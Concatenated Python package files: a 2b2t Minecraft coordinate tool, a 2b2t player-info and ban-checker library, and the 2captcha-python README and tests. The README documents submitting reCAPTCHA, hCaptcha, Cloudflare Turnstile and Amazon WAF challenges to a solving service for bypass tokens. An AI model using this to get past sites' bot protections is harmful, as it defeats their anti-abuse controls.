def world_to_image(loc, image_type=RadarImageType.RADAR_8K) -> Tuple[int, int]:
"""
Given a coordinate in 2b2t overworld, return the corresponding pixel coordinate in radar image.
"""
x, z = loc
off_x, off_z, chunks_per_pixel = image_type.value[0] // 2, image_type.value[1] // 2, image_type.value[2]
return 3840 + x // 16 // chunks_per_pixel, 2160 + z // 16 // chunks_per_pixel
def image_to_world(loc, image_type=RadarImageType.RADAR_8K) -> Tuple[int, int]:
"""
Given a position in radar image, return the center coordinate of the corresponding range in 2b2t overworld.
"""
x, z = loc
off_x, off_z, chunks_per_pixel = image_type.value[0] // 2, image_type.value[1] // 2, image_type.value[2]
x, z = x - off_x, z - off_z
return int((x + 0.5) * 16 * chunks_per_pixel), int((z + 0.5) * 16 * chunks_per_pixel)
def main():
""" REPL """
while True:
try:
inp = input('> ').strip().split(' ') or None
cmd = inp[0] if len(inp) > 0 else None
if cmd == 'i2w' or cmd == 'image2world':
world_x, world_y = image_to_world((int(inp[1]), int(inp[2])))
print(f'World: ({world_x}, {world_y})')
print(f'Nether: ({world_x // 8}, {world_y // 8})')
elif cmd == 'w2i' or cmd == 'world2image':
print(world_to_image((int(inp[1]), int(inp[2]))))
elif cmd == 'q' or cmd == 'quit' or cmd == 'exit':
break
elif cmd == 'h' or cmd == 'help':
print(USAGE)
elif not cmd:
pass
else:
print('Invalid command. Run \'help\' or \'h\' for usage description.')
except (ValueError, IndexError):
print('Invalid command. Type `help` or `h` for help.')
except KeyboardInterrupt:
print()
pass # Ignore Ctrl-C event
if __name__ == '__main__':
main()
| 2b2t | /2b2t-0.3.0.tar.gz/2b2t-0.3.0/bbtt/coord/__main__.py | __main__.py |
# 2b2t.py
This package handles all things 2b2t!
## Installation
You can install the package with pip.
```
pip install 2b2t
```
or
```
pip3 install 2b2t
```
Or you can install with GitHub
1. Clone the repo
2. Run setup.py
3. Install Python3 if you don't already have it
4. Install requests and colorama if you don't already have it
```
git clone https://github.com/BGP0/2b2t.py.git
python3 setup.py build install
pip3 install requests
pip3 install colorama
```
## Usage
[Docs](https://github.com/BGP0/2b2t.py/wiki)
## Credits
Orginal Software made by BGP
Thanks to SkilzMastr for turning the checker into a package!
| 2b2t.py | /2b2t.py-1.7.6.tar.gz/2b2t.py-1.7.6/README.md | README.md |
from py2b import __author__, __version__
import setuptools
with open('README.md', 'r') as fh:
long_description = fh.read()
setuptools.setup(
name='2b2t.py',
version=__version__,
author=__author__,
description='A package for all things 2b2t',
long_description=long_description,
long_description_content_type='text/markdown',
url='https://github.com/BGP0/2b2t.py',
packages=setuptools.find_packages(),
classifiers=[
'Programming Language :: Python :: 3',
'License :: OSI Approved :: MIT License',
'Operating System :: OS Independent',
],
python_requires='>=3.6'
) | 2b2t.py | /2b2t.py-1.7.6.tar.gz/2b2t.py-1.7.6/setup.py | setup.py |
import requests
def serverStatus():
request = requests.request("GET", "https://api.2b2t.dev/status")
return request.json()
def prioqLength():
request = requests.request("GET", "https://api.2b2t.dev/prioq")
return request.json() | 2b2t.py | /2b2t.py-1.7.6.tar.gz/2b2t.py-1.7.6/py2b/serverInfo.py | serverInfo.py |
import requests
from colorama import Fore, init
import threading
def check(username, printOut=False):
data = f'ign={username}'
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
request = requests.request('POST', "https://donate.2b2t.org/category/738999", data=data, headers=headers)
if not printOut:
if 'rate limited' in request.text:
return 0
elif 'not a valid' in request.text:
return 1
elif 'Unable' in request.text:
return 2
elif 'banned' not in request.text:
return False
else:
return True
else:
if 'rate limited' in request.text:
print(Fore.LIGHTMAGENTA_EX + f"YOU'VE BEEN RATELIMITED!! :(")
elif 'not a valid' in request.text:
print(Fore.LIGHTRED_EX + f"{username} is not a valid username")
elif 'Unable' in request.text:
print(Fore.LIGHTRED_EX + f"Unable to find a player with the username: {username}")
elif 'banned' not in request.text:
print(Fore.LIGHTRED_EX + f"{username} is not currently banned")
else:
print(Fore.LIGHTGREEN_EX + f"{username} is currently banned")
| 2b2t.py | /2b2t.py-1.7.6.tar.gz/2b2t.py-1.7.6/py2b/singleCheck.py | singleCheck.py |
import requests, py2b
class player():
def __init__(self, username):
self.username = username
def info(self):
self.request = requests.request("GET", f"https://api.2b2t.dev/stats?username={self.username}")
return self.request.json()
def lastSeen(self):
self.request = requests.request("GET", f"https://api.2b2t.dev/seen?username={self.username}")
return self.request.json()
def lastDeath(self):
self.request = requests.request("GET", f"https://api.2b2t.dev/stats?lastdeath={self.username}")
return self.request.json()
def lastKill(self):
self.request = requests.request("GET", f"https://api.2b2t.dev/stats?lastkill={self.username}")
return self.request.json()
def prioBanned(self):
return py2b.check(self.username)
| 2b2t.py | /2b2t.py-1.7.6.tar.gz/2b2t.py-1.7.6/py2b/playerInfo.py | playerInfo.py |
from .listCheck import *
from .singleCheck import *
from .playerInfo import *
from .serverInfo import *
__version__ = '1.7.6'
__author__ = 'BGP and SkilzMastr'
| 2b2t.py | /2b2t.py-1.7.6.tar.gz/2b2t.py-1.7.6/py2b/__init__.py | __init__.py |
import requests
from colorama import Fore, init
import threading
class listCheck():
def __init__(self, usernames, printOut=False):
self.usernames = usernames
self.printOut = printOut
init(convert=True)
def listBased(self, usernameList):
for username in usernameList:
self.check(username)
def check(self, username):
data = f'ign={username}'
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
request = requests.request('POST', "https://donate.2b2t.org/category/738999", data=data, headers=headers)
if self.printOut:
if 'rate limited' in request.text:
print(Fore.LIGHTMAGENTA_EX + f"YOU'VE BEEN RATELIMITED!! :(")
elif 'not a valid' in request.text:
print(Fore.LIGHTRED_EX + f"{username} is not a valid username")
elif 'Unable' in request.text:
print(Fore.LIGHTRED_EX + f"Unable to find a player with the username: {input}")
elif 'banned' not in request.text:
print(Fore.LIGHTRED_EX + f"{username} is not currently banned")
else:
print(Fore.LIGHTGREEN_EX + f"{username} is currently banned")
else:
if 'rate limited' in request.text:
return 0
elif 'not a valid' in request.text:
return 1
elif 'Unable' in request.text:
return 2
elif 'banned' not in request.text:
return False
else:
return True
def l1(self):
for i in range(len(self.lines1)):
self.check(self.lines1[i])
def l2(self):
for i in range(len(self.lines2)):
self.check(self.lines2[i])
def start(self):
if self.usernames is list:
self.listBased(self.usernames)
else:
self.lines = [item.replace("\n", "") for item in open(self.usernames, 'r').readlines()]
self.lines1 = self.lines[:len(self.lines)//2]
self.lines2 = self.lines[len(self.lines)//2:]
self.threads = []
self.t1 = threading.Thread(target=self.l1)
self.t2 = threading.Thread(target=self.l2)
self.threads.append(self.t1)
self.threads.append(self.t2)
self.t1.start()
self.t2.start()
print(('\nFinished loading all threads.\n').center(119))
for x in self.threads:
x.join()
input(Fore.RESET + 'Finished Checking!')
| 2b2t.py | /2b2t.py-1.7.6.tar.gz/2b2t.py-1.7.6/py2b/listCheck.py | listCheck.py |
# Python Module for 2Captcha API
The easiest way to quickly integrate [2Captcha] captcha solving service into your code to automate solving of any types of captcha.
- [Python Module for 2Captcha API](#python-module-for-2captcha-api)
- [Installation](#installation)
- [Configuration](#configuration)
- [TwoCaptcha instance options](#twocaptcha-instance-options)
- [Solve captcha](#solve-captcha)
- [Captcha options](#captcha-options)
- [Normal Captcha](#normal-captcha)
- [Text Captcha](#text-captcha)
- [ReCaptcha v2](#recaptcha-v2)
- [ReCaptcha v3](#recaptcha-v3)
- [FunCaptcha](#funcaptcha)
- [GeeTest](#geetest)
- [hCaptcha](#hcaptcha)
- [GeeTest v4](#geetest-v4)
- [Lemin Cropped Captcha](#lemin-cropped-captcha)
- [Cloudflare Turnstile](#cloudflare-turnstile)
- [Amazon WAF](#amazon-waf)
- [KeyCaptcha](#keycaptcha)
- [Capy](#capy)
- [Grid](#grid)
- [Canvas](#canvas)
- [ClickCaptcha](#clickcaptcha)
- [Rotate](#rotate)
- [Other methods](#other-methods)
- [send / getResult](#send--getresult)
- [balance](#balance)
- [report](#report)
- [Error handling](#error-handling)
- [Proxies](#proxies)
- [Async calls](#async-calls)
## Installation
This package can be installed with Pip:
```pip3 install 2captcha-python```
## Configuration
TwoCaptcha instance can be created like this:
```python
from twocaptcha import TwoCaptcha
solver = TwoCaptcha('YOUR_API_KEY')
```
Also there are few options that can be configured:
```python
config = {
'server': '2captcha.com',
'apiKey': 'YOUR_API_KEY',
'softId': 123,
'callback': 'https://your.site/result-receiver',
'defaultTimeout': 120,
'recaptchaTimeout': 600,
'pollingInterval': 10,
}
solver = TwoCaptcha(**config)
```
### TwoCaptcha instance options
| Option | Default value | Description |
| ---------------- | -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| server | `2captcha.com` | API server. You can set it to `rucaptcha.com` if your account is registered there |
| softId | - | your software ID obtained after publishing in [2captcha sofware catalog] |
| callback | - | URL of your web-sever that receives the captcha recognition result. The URl should be first registered in [pingback settings] of your account |
| defaultTimeout | 120 | Polling timeout in seconds for all captcha types except ReCaptcha. Defines how long the module tries to get the answer from `res.php` API endpoint |
| recaptchaTimeout | 600 | Polling timeout for ReCaptcha in seconds. Defines how long the module tries to get the answer from `res.php` API endpoint |
| pollingInterval | 10 | Interval in seconds between requests to `res.php` API endpoint, setting values less than 5 seconds is not recommended |
> **IMPORTANT:** once `callback` is defined for `TwoCaptcha` instance, all methods return only the captcha ID and DO NOT poll the API to get the result. The result will be sent to the callback URL.
To get the answer manually use [getResult method](#send--getresult)
## Solve captcha
When you submit any image-based captcha use can provide additional options to help 2captcha workers to solve it properly.
### Captcha options
| Option | Default Value | Description |
| ------------- | ------------- | -------------------------------------------------------------------------------------------------- |
| numeric | 0 | Defines if captcha contains numeric or other symbols [see more info in the API docs][post options] |
| minLen | 0 | minimal answer lenght |
| maxLen | 0 | maximum answer length |
| phrase | 0 | defines if the answer contains multiple words or not |
| caseSensitive | 0 | defines if the answer is case sensitive |
| calc | 0 | defines captcha requires calculation |
| lang | - | defines the captcha language, see the [list of supported languages] |
| hintImg | - | an image with hint shown to workers with the captcha |
| hintText | - | hint or task text shown to workers with the captcha |
Below you can find basic examples for every captcha type. Check out [examples directory] to find more examples with all available options.
### Normal Captcha
To bypass a normal captcha (distorted text on image) use the following method. This method also can be used to recognize any text on the image.
```python
result = solver.normal('path/to/captcha.jpg', param1=..., ...)
# OR
result = solver.normal('https://site-with-captcha.com/path/to/captcha.jpg', param1=..., ...)
```
### Text Captcha
This method can be used to bypass a captcha that requires to answer a question provided in clear text.
```python
result = solver.text('If tomorrow is Saturday, what day is today?', param1=..., ...)
```
### ReCaptcha v2
Use this method to solve ReCaptcha V2 and obtain a token to bypass the protection.
```python
result = solver.recaptcha(sitekey='6Le-wvkSVVABCPBMRTvw0Q4Muexq1bi0DJwx_mJ-',
url='https://mysite.com/page/with/recaptcha',
param1=..., ...)
```
### ReCaptcha v3
This method provides ReCaptcha V3 solver and returns a token.
```python
result = solver.recaptcha(sitekey='6Le-wvkSVVABCPBMRTvw0Q4Muexq1bi0DJwx_mJ-',
url='https://mysite.com/page/with/recaptcha',
version='v3',
param1=..., ...)
```
### FunCaptcha
FunCaptcha (Arkoselabs) solving method. Returns a token.
```python
result = solver.funcaptcha(sitekey='6Le-wvkSVVABCPBMRTvw0Q4Muexq1bi0DJwx_mJ-',
url='https://mysite.com/page/with/funcaptcha',
param1=..., ...)
```
### GeeTest
Method to solve GeeTest puzzle captcha. Returns a set of tokens as JSON.
```python
result = solver.geetest(gt='f1ab2cdefa3456789012345b6c78d90e',
challenge='12345678abc90123d45678ef90123a456b',
url='https://www.site.com/page/',
param1=..., ...)
```
### hCaptcha
Use this method to solve hCaptcha challenge. Returns a token to bypass captcha.
```python
result = solver.hcaptcha(sitekey='10000000-ffff-ffff-ffff-000000000001',
url='https://www.site.com/page/',
param1=..., ...)
```
### GeeTest v4
Use this method to solve GeeTest v4. Returns the response in JSON.
```python
result = solver.geetest_v4(captcha_id='e392e1d7fd421dc63325744d5a2b9c73',
url='https://www.site.com/page/',
param1=..., ...)
```
### Lemin Cropped Captcha
Use this method to solve hCaptcha challenge. Returns JSON with answer containing the following values: answer, challenge_id.
```python
result = solver.lemin(captcha_id='CROPPED_1abcd2f_a1234b567c890d12ef3a456bc78d901d',
div_id='lemin-cropped-captcha',
url='https://www.site.com/page/',
param1=..., ...)
```
### Cloudflare Turnstile
Use this method to solve Cloudflare Turnstile. Returns JSON with the token.
```python
result = solver.turnstile(sitekey='0x1AAAAAAAAkg0s2VIOD34y5',
url='http://mysite.com/',
param1=..., ...)
```
### Amazon WAF
Use this method to solve Amazon WAF Captcha also known as AWS WAF Captcha is a part of Intelligent threat mitigation for Amazon AWS. Returns JSON with the token.
```python
result = solver.amazon_waf(sitekey='0x1AAAAAAAAkg0s2VIOD34y5',
iv='CgAHbCe2GgAAAAAj',
context='9BUgmlm48F92WUoqv97a49ZuEJJ50TCk9MVr3C7WMtQ0X6flVbufM4n8mjFLmbLVAPgaQ1Jydeaja94iAS49ljb+sUNLoukWedAQZKrlY4RdbOOzvcFqmD/ZepQFS9N5w15Exr4VwnVq+HIxTsDJwRviElWCdzKDebN/mk8/eX2n7qJi5G3Riq0tdQw9+C4diFZU5E97RSeahejOAAJTDqduqW6uLw9NsjJBkDRBlRjxjn5CaMMo5pYOxYbGrM8Un1JH5DMOLeXbq1xWbC17YSEoM1cRFfTgOoc+VpCe36Ai9Kc='
url='https://non-existent-example.execute-api.us-east-1.amazonaws.com/latest'
param1=..., ...)
```
### KeyCaptcha
Token-based method to solve KeyCaptcha.
```python
result = solver.keycaptcha(s_s_c_user_id=10,
s_s_c_session_id='493e52c37c10c2bcdf4a00cbc9ccd1e8',
s_s_c_web_server_sign='9006dc725760858e4c0715b835472f22-pz-',
s_s_c_web_server_sign2='2ca3abe86d90c6142d5571db98af6714',
url='https://www.keycaptcha.ru/demo-magnetic/',
param1=..., ...)
```
### Capy
Token-based method to bypass Capy puzzle captcha.
```python
result = solver.capy(sitekey='PUZZLE_Abc1dEFghIJKLM2no34P56q7rStu8v',
url='http://mysite.com/',
api_server='https://jp.api.capy.me/',
param1=..., ...)
```
### Grid
Grid method is originally called Old ReCaptcha V2 method. The method can be used to bypass any type of captcha where you can apply a grid on image and need to click specific grid boxes. Returns numbers of boxes.
```python
result = solver.grid('path/to/captcha.jpg', param1=..., ...)
```
### Canvas
Canvas method can be used when you need to draw a line around an object on image. Returns a set of points' coordinates to draw a polygon.
```python
result = solver.canvas('path/to/captcha.jpg', param1=..., ...)
```
### ClickCaptcha
ClickCaptcha method returns coordinates of points on captcha image. Can be used if you need to click on particular points on the image.
```python
result = solver.coordinates('path/to/captcha.jpg', param1=..., ...)
```
### Rotate
This method can be used to solve a captcha that asks to rotate an object. Mostly used to bypass FunCaptcha. Returns the rotation angle.
```python
result = solver.rotate('path/to/captcha.jpg', param1=..., ...)
```
## Other methods
### send / getResult
These methods can be used for manual captcha submission and answer polling.
```python
import time
. . . . .
id = solver.send(file='path/to/captcha.jpg')
time.sleep(20)
code = solver.get_result(id)
```
### balance
Use this method to get your account's balance
```python
balance = solver.balance()
```
### report
Use this method to report good or bad captcha answer.
```python
solver.report(id, True) # captcha solved correctly
solver.report(id, False) # captcha solved incorrectly
```
### Error handling
In case of an error, the captcha solver throws an exception. It's important to properly handle these cases. We recommend using `try except` to handle exceptions.
```python
try:
result = solver.text('If tomorrow is Saturday, what day is today?')
except ValidationException as e:
# invalid parameters passed
print(e)
except NetworkException as e:
# network error occurred
print(e)
except ApiException as e:
# api respond with error
print(e)
except TimeoutException as e:
# captcha is not solved so far
print(e)
```
### Proxies
You can pass your proxy as an additional argument for methods: recaptcha, funcaptcha and geetest. The proxy will be forwarded to the API to solve the captcha.
```python
proxy={
'type': 'HTTPS',
'uri': 'login:password@IP_address:PORT'
}
```
### Async calls
You can also make async calls with [asyncio], for example:
```python
import asyncio
import concurrent.futures
from twocaptcha import TwoCaptcha
captcha_result = await captchaSolver(image)
async def captchaSolver(image):
loop = asyncio.get_running_loop()
with concurrent.future.ThreadPoolExecutor() as pool:
result = await loop.run_in_executor(pool, lambda: TwoCaptcha(API_KEY).normal(image))
return result
```
[2Captcha]: https://2captcha.com/
[2captcha sofware catalog]: https://2captcha.com/software
[pingback settings]: https://2captcha.com/setting/pingback
[post options]: https://2captcha.com/2captcha-api#normal_post
[list of supported languages]: https://2captcha.com/2captcha-api#language
[examples directory]: /examples
[asyncio]: https://docs.python.org/3/library/asyncio.html
| 2captcha-python | /2captcha-python-1.2.1.tar.gz/2captcha-python-1.2.1/README.md | README.md |
#!/usr/bin/env python3
from setuptools import setup, find_packages
import re
with open("README.md", "r") as fh:
long_description = fh.read()
def get_version():
with open('twocaptcha/__init__.py', 'r') as f:
return re.search(r'__version__ = ["\'](.*?)["\']', f.read()).group(1)
setup(name='2captcha-python',
version=get_version(),
description='Python module for easy integration with 2Captcha API',
long_description=long_description,
long_description_content_type="text/markdown",
url='https://github.com/2captcha/2captcha-python/',
install_requires=['requests'],
author='2Captcha',
author_email='info@2captcha.com',
packages=find_packages(),
include_package_data=True,
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
python_requires='>=3.6',
test_suite='tests')
| 2captcha-python | /2captcha-python-1.2.1.tar.gz/2captcha-python-1.2.1/setup.py | setup.py |
#!/usr/bin/env python3
import unittest
file = '../examples/images/grid.jpg'
hint_img = '../examples/images/grid_hint.jpg'
hint_text = 'Select all images with an Orange'
checks = {'coordinatescaptcha': 1}
try:
from .abstract import AbstractTest
file = file[3:]
hint_img = hint_img[3:]
except ImportError:
from abstract import AbstractTest
class CoordinatesTest(AbstractTest):
def test_file_param(self):
sends = {'method': 'post', 'file': file, **checks}
return self.send_return(sends, self.solver.coordinates, file=file)
def test_base64_param(self):
b64 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
sends = {
'method': 'base64',
'body' : b64,
**checks,
}
return self.send_return(sends, self.solver.coordinates, file=b64)
def test_all_params(self):
params = {
'lang' : 'en',
'hintImg' : hint_img,
'hintText' : hint_text
}
sends = {
'method' : 'post',
'lang' : 'en',
'files' : {'file': file,'imginstructions': hint_img},
'textinstructions' : hint_text,
**checks
}
return self.send_return(sends, self.solver.coordinates, file=file, **params)
def test_not_found(self):
return self.invalid_file(self.solver.coordinates)
if __name__ == '__main__':
unittest.main()
| 2captcha-python | /2captcha-python-1.2.1.tar.gz/2captcha-python-1.2.1/tests/test_coordinates.py | test_coordinates.py |
#!/usr/bin/env python3
import unittest
try:
from .abstract import AbstractTest
except ImportError:
from abstract import AbstractTest
class TextTest(AbstractTest):
def test_only_text(self):
sends = {
'method': 'post',
'textcaptcha': 'Today is monday?',
}
return self.send_return(sends,
self.solver.text,
text='Today is monday?')
def test_all_params(self):
params = {
'text': 'Today is monday?',
'lang': 'en',
}
sends = {
'method': 'post',
'textcaptcha': 'Today is monday?',
'lang': 'en',
}
return self.send_return(sends, self.solver.text, **params)
if __name__ == '__main__':
unittest.main()
| 2captcha-python | /2captcha-python-1.2.1.tar.gz/2captcha-python-1.2.1/tests/test_text.py | test_text.py |
#!/usr/bin/env python3
import unittest
file = '../examples/images/canvas.jpg'
hint = 'Draw around apple'
hint_img = '../examples/images/canvas_hint.jpg'
checks = {'canvas' : 1, 'recaptcha' : 1, 'textinstructions' : hint}
try:
from .abstract import AbstractTest
file = file[3:]
hint_img = hint_img[3:]
except ImportError:
from abstract import AbstractTest
class CanvasTest(AbstractTest):
def test_file_param(self):
sends = {'method': 'post', 'file': file, **checks}
return self.send_return(sends, self.solver.canvas, file=file, hintText=hint)
def test_base64_param(self):
b64 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
sends = {
'method': 'base64',
'body' : b64,
**checks,
}
return self.send_return(sends, self.solver.canvas, file=b64, hintText=hint)
def test_all_params(self):
params = {
'previousId' : 0,
'canSkip' : 0,
'lang' : 'en',
'hintImg' : hint_img,
'hintText' : hint
}
sends = {
'method' : 'post',
'previousID' : 0,
'can_no_answer' : 0,
'lang' : 'en',
'files' : {'file': file,'imginstructions': hint_img},
**checks
}
return self.send_return(sends, self.solver.canvas, file=file, **params)
def test_not_found(self):
return self.invalid_file(self.solver.canvas, hintText=hint)
if __name__ == '__main__':
unittest.main()
| 2captcha-python | /2captcha-python-1.2.1.tar.gz/2captcha-python-1.2.1/tests/test_canvas.py | test_canvas.py |
#!/usr/bin/env python3
import unittest
file = '../examples/images/grid.jpg'
hint_img = '../examples/images/grid_hint.jpg'
hint_text = 'Select all images with an Orange'
try:
from .abstract import AbstractTest
file = file[3:]
hint_img = hint_img[3:]
except ImportError:
from abstract import AbstractTest
class GridTest(AbstractTest):
def test_file_param(self):
sends = {'method': 'post', 'file': file, 'recaptcha': 1}
return self.send_return(sends, self.solver.grid, file=file)
def test_base64_param(self):
b64 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
sends = {
'method' : 'base64',
'body' : b64,
'recaptcha' : 1
}
return self.send_return(sends, self.solver.grid, file=b64)
def test_all_params(self):
params = {
'rows' : 3,
'cols' : 3,
'previousId' : 0,
'canSkip' : 0,
'lang' : 'en',
'hintImg' : hint_img,
'hintText' : hint_text
}
sends = {
'method' : 'post',
'recaptcha' : 1,
'recaptcharows' : 3,
'recaptchacols' : 3,
'previousID' : 0,
'can_no_answer' : 0,
'lang' : 'en',
'files' : {'file': file,'imginstructions': hint_img},
'textinstructions' : hint_text,
}
return self.send_return(sends, self.solver.grid, file=file, **params)
def test_not_found(self):
return self.invalid_file(self.solver.grid)
if __name__ == '__main__':
unittest.main()
| 2captcha-python | /2captcha-python-1.2.1.tar.gz/2captcha-python-1.2.1/tests/test_grid.py | test_grid.py |
#!/usr/bin/env python3
import unittest
try:
from .abstract import AbstractTest
except ImportError:
from abstract import AbstractTest
class GeeTest_V4(AbstractTest):
def test_all_params(self):
params = {
'captcha_id': 'e392e1d7fd421dc63325744d5a2b9c73',
'url' : 'https://2captcha.com/demo/geetest-v4', }
sends = {
'method' : 'geetest_v4',
'captcha_id' : 'e392e1d7fd421dc63325744d5a2b9c73',
'pageurl' : 'https://2captcha.com/demo/geetest-v4',
}
return self.send_return(sends, self.solver.geetest_v4, **params)
if __name__ == '__main__':
unittest.main()
| 2captcha-python | /2captcha-python-1.2.1.tar.gz/2captcha-python-1.2.1/tests/test_geetest_v4.py | test_geetest_v4.py |
#!/usr/bin/env python3
import unittest
try:
from .abstract import AbstractTest
except ImportError:
from abstract import AbstractTest
class FuncaptchaTest(AbstractTest):
def test_all_params(self):
params = {
'sitekey' : '69A21A01-CC7B-B9C6-0F9A-E7FA06677FFC',
'url' : 'https://mysite.com/page/with/funcaptcha',
'surl' : 'https://client-api.arkoselabs.com',
'userAgent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
'data' : {'anyKey' : 'anyStringValue'},
}
sends = {
'method' : 'funcaptcha',
'publickey' : '69A21A01-CC7B-B9C6-0F9A-E7FA06677FFC',
'pageurl' : 'https://mysite.com/page/with/funcaptcha',
'surl' : 'https://client-api.arkoselabs.com',
'userAgent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
'data' : {'anyKey' : 'anyStringValue'},
}
return self.send_return(sends, self.solver.funcaptcha, **params)
if __name__ == '__main__':
unittest.main()
| 2captcha-python | /2captcha-python-1.2.1.tar.gz/2captcha-python-1.2.1/tests/test_funcaptcha.py | test_funcaptcha.py |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.